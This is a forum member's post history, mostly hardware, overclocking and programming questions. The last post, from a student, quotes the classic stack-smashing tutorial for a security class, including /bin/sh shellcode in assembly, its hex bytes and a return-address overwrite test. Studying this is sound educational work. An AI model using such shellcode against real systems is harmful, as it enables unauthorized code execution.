Jump to content


Ziggy54354's Content

There have been 183 items by Ziggy54354 (Search limited from 23-March 16)


By content type

See this member's


Sort by                Order  

#1722488 not going to sleep automatically

Posted by Ziggy54354 on 28 September 2009 - 01:59 PM in Processors, Motherboards and Memory

I have a problem where after setting the bios sleep option to s3 from s1, my computer does not go to sleep automatically. I can however make it manually sleep. It does go to sleep automatically in S1 with the same settings in windows. My motherboard is listed below in my sig and im using vista. Can anyone help me out?

[the thread desc should say can manually put to sleep.. not but to sleep.]



#1658900 i need some project ideas for college 2nd year

Posted by Ziggy54354 on 18 March 2009 - 09:54 PM in OCC Member's Lounge

wouldn't really consider that a super computer... what is your major?



#1588836 Writing A Program To Mimic Linux Piping

Posted by Ziggy54354 on 27 September 2008 - 06:34 PM in Programmer's Corner

I've been trying to write a program that replicates how you would type in a series of commands that pipe into one another in linux. I've gotten the program to work with just 2 commands but when i try 3 or more, it does not output anything. If anyone can provide any help with this, that would be great. This is what i've written so far and is very much just for testing... but if I can get this to work then i can probably write the whole program.


# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>
# include <sys/types.h>
# include <sys/stat.h>
# include <sys/wait.h>
# include <fcntl.h>
# include <string.h>
# include <ctype.h>
#include <iostream>
using namespace std;
int main()
{

	pid_t child = 0;
	int rotate = 0;
	int pipe1[2];
	int pipe2[2];
	pipe(pipe1);
	char string[1000];
	
/*
	char *arg1[] = { "cat", "text.txt", (char *) 0 };
	char *arg2[] = { "sort", (char *) 0 };
	char *arg3[] = { "uniq", (char *) 0 };
*/

	char *arg1[] = { "ls", (char *) 0 };
	char *arg2[] = { "sort", (char *) 0 };
	char *arg3[] = { "grep", "test", (char *) 0 };
/*	
	char *arg1[] = { "echo", "hi buddy", (char *) 0 };
	char *arg2[] = { "grep", "hi", (char *) 0 };
	//char *arg3[] = { "grep", "hi", (char *) 0 };
*/
	int numcommands = 3;
	for(int i = 0; i < numcommands; i++){
	
	child = fork();

		if (child == 0)
		{
		//cout << "I am child " << i << " " << rotate << endl;

			if (i == 0 or i == numcommands -1){ //first or last
				if (i == 0){ //only needs input

					//cout << "this should happen first" << endl;
					dup2(pipe1[0], 0); // read end of pipe and stdin
					close(pipe1[1]);
	
				}
				if (i == numcommands - 1 and rotate == 0){ //does not need input but needs to put something something out
					
					//cout << "this should happen last" << endl;
					dup2(pipe2[1], 1); // write end of pipe1 and stdout
					close(pipe2[0]);
	
				}

				if (i == numcommands - 1 and rotate == 1){ //does not need input but needs to put something something out

					//cout << "this should happen last" << endl;
					dup2(pipe1[1], 1); // write end of pipe1 and stdout
					close(pipe1[0]);
	
				}
			}
			else {
				if (rotate == 1){

					cout << "this should happen 2nd" << endl;
					
					dup2(pipe1[1], 1); // write end of pipe1 and stdout
					close(pipe1[0]);
					
					sleep(1);
				
					//read(pipe2[0], string, 1000);
					cout << "testing" << endl;					
					
					dup2(pipe2[0], 0); // read end of pipe2 and stdin
					close(pipe2[1]);					
			

				}
				else{
					
					//cout << "this should also not happen" << endl;
					dup2(pipe1[0], 0); // read end of pipe2  and stdin
					close(pipe1[1]);
					
					dup2(pipe2[1], 1); // write end of pipe1 and stdout
					close(pipe2[0]);	

				}
			}			

			//cout << "about to execute "<< i << endl;
			sleep(1);
			//this is a test			

			if( i == 0 ) {
				execvp (arg3[0], arg3); 
			}
			if (i == 1 ) {
				execvp (arg2[0], arg2); 
			}
			if (i == 2 ) {
				execvp (arg1[0], arg1); 
			}
		}
		else
		{	
			pipe(pipe2);			
			if (rotate == 0) {
			rotate = 1;
			}
			else {
			rotate = 0;
 			}
			//cout << "I am parent" << endl;
			sleep(1);
		}
	}

return 0;

}



#1571983 Code To Change Code

Posted by Ziggy54354 on 07 August 2008 - 05:27 AM in Programmer's Corner

I was trying to avoid find and replace as that would be manual and i would have to do thousands of these but I found a perfect solution. Check out the following if you guys are interested. http://pubs.logicale...icle.asp?ID=307 and http://www.cpearson.com/excel/vbe.aspx



#1571562 Code To Change Code

Posted by Ziggy54354 on 06 August 2008 - 10:09 AM in Programmer's Corner

Is there a way to have a macro do a find and replace of code that is in a project? I'm changing the names of a bunch of bookmarks and I would like to automatically change the names of the bookmarks in the code to what I am changing them to. Does anyone know if this is possible?



#1564667 Step Up

Posted by Ziggy54354 on 18 July 2008 - 07:51 AM in Video Cards and Monitors

Hey guys i have $190 to use towards my step up from an 8800GT. For only $10 i can get the 9800GTX+ and for $110 I can get the GTX260. My monitors are only 1680x1050 max res and I even plan to play alot of games on my 720p tv. Which of these cards would you guys choose given the situation.



#1561546 When Is The Nvidia 9800 Gtx + Coming Out?

Posted by Ziggy54354 on 09 July 2008 - 08:07 PM in Video Cards and Monitors

i'm looking to get it to but only because im sort of obligated to since i still have the evga step up. If i didnt... i would EASILY go ati.



#1557450 Installed Pci Card Cant Oc Now

Posted by Ziggy54354 on 29 June 2008 - 10:02 AM in Video Cards and Monitors

yea that would be a clever way to oc since i have a pci card to reflash back just in case. I'd still like an app to control i though so i can get temps and read fan speeds.



#1557442 Installed Pci Card Cant Oc Now

Posted by Ziggy54354 on 29 June 2008 - 09:39 AM in Video Cards and Monitors

I just installed a radeon 9250 as a PCI card so I can run 3 displays. This worked fine. However now when i go to OC my 8800GT it doesnt show up anymore in any program. Ive tried ATI tool, rivatuner (it shows up but it doesnt give me any option to oc it) and even nvidia's own ntune with no luck. Does anyone have a solution to this?? Thanks



#796284 Temp Monitor

Posted by Ziggy54354 on 24 June 2008 - 07:02 PM in Overclocking and Cooling

Augh... if thats true... that's bad news for me.



#796274 Temp Monitor

Posted by Ziggy54354 on 24 June 2008 - 06:40 PM in Overclocking and Cooling

What are you guys using to measure your temps on C2Ds? Ive got coretemp .99 and .94 as well as real temp 2.60. Real temp reports the lowest temps at 10C cooler than CT .99 (at around 56/53 for each core) The two core temps report different temperatures as well. One is in the low 60's and one is in the mid 60's. I'm not sure which one of these programs to trust? What does everyone else use?



#796270 Trying To Get My E8400 To 4.0

Posted by Ziggy54354 on 24 June 2008 - 06:36 PM in Overclocking and Cooling

1.65 cooling on air.... uhmmmm... something sounds terribly wrong with that.

I just got my e8400 to 4ghz... it needed alot more voltage that i expected. I'm at 1.4v right now.



#786872 Dfi P35 Blood-iron Overclocking

Posted by Ziggy54354 on 26 May 2008 - 02:46 PM in Overclocking and Cooling

Were you able to put the sticker back on without signs of tampering? I have a zalman passive flower style nb heatsink that I'd like to put on.



#786827 E6300 Vs. E2180

Posted by Ziggy54354 on 26 May 2008 - 12:06 PM in Processors, Motherboards and Memory

Why don't you get a new board instead of a new cpu? You could buy one for like 100 bucks that is more oc friendly. With my current setup im running my e6300 at over 3.3ghz and im still pushing for more. This way u benefit not only from frequency increase, but you will have 2mb of cache instead of 1mb which will no doubt help.



#786821 Dfi P35 Blood-iron Overclocking

Posted by Ziggy54354 on 26 May 2008 - 11:48 AM in Overclocking and Cooling

Im overclocking my e6300 on this board right now and i would like to know what kinds of settings everyone is using. Ive been orthos stable for about 18 hours at the following settings:

fsb: 474
mult: 7
VID: +.05
Dram: 2.1
NB Core: 1.37
CPU VTT: 1.25
Clockgen: 3.6

Stock NB cooling because of that pesky warranty sticker. If you have this board, please post information about your voltages and etc. AFAIK, only these voltages affect stability and the SB voltages should not be touched (correct me if I am wrong). Also please indicate what type of cooling you have. Thx



#783509 Switch For Screens

Posted by Ziggy54354 on 15 May 2008 - 03:42 PM in Video Cards and Monitors

the only things i see are these splitters that cost like 400 bucks... im looking for something preferably that is about 10 dollars

i think a splitter may be what i need instead



#783501 Switch For Screens

Posted by Ziggy54354 on 15 May 2008 - 03:29 PM in Video Cards and Monitors

I have a dual dvi video card that I'd like to hook up to 2 LCD monitors and a LCD tv. I'd like to have either 2x monitors or 1 monitor and the TV on at a time. Is there a way I can do this without having to keep unplugging and plugging stuff in while using just the dvi outputs on my video card?



#774028 Changing Remote Desktop Preferences Through Remote Shell

Posted by Ziggy54354 on 11 April 2008 - 05:59 PM in Networking and Internet

didn't work :( i was prompted to type and retype a password but im assuming it didnt write it to the right place or something. the second method didnt work at all.



#774019 Changing Remote Desktop Preferences Through Remote Shell

Posted by Ziggy54354 on 11 April 2008 - 04:55 PM in Networking and Internet

hey, i stupidly messed up my password for my remote desktop in ubuntu. I can still SSH to my server though. Anyone know how I can set the remote desktop password from the terminal?



#766046 Buffer Overflow Assignment

Posted by Ziggy54354 on 13 March 2008 - 04:26 PM in Programmer's Corner

My prof decided to give us a buffer overflow assignment for my comp security class... alot of how it works deals with assembly language and c (never learned c... seeing as our curriculum is primarily java based... go figure). We were givin this site http://insecure.org/...smashstack.html and on it is the following:

Looks good. To make sure it works correctly we must compile it and run it.
But there is a problem. Our code modifies itself, but most operating system
mark code pages read-only. To get around this restriction we must place the
code we wish to execute in the stack or data segment, and transfer control
to it. To do so we will place our code in a global array in the data
segment. We need first a hex representation of the binary code. Lets
compile it first, and then use gdb to obtain it.

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------


first question.. where the heck did the the hex stuff in char shellcode[] from from?
second question... what is the main doing? like i said im not familiar with the syntax in C so im not sure what putting a * next to a variable does or what the & sign does.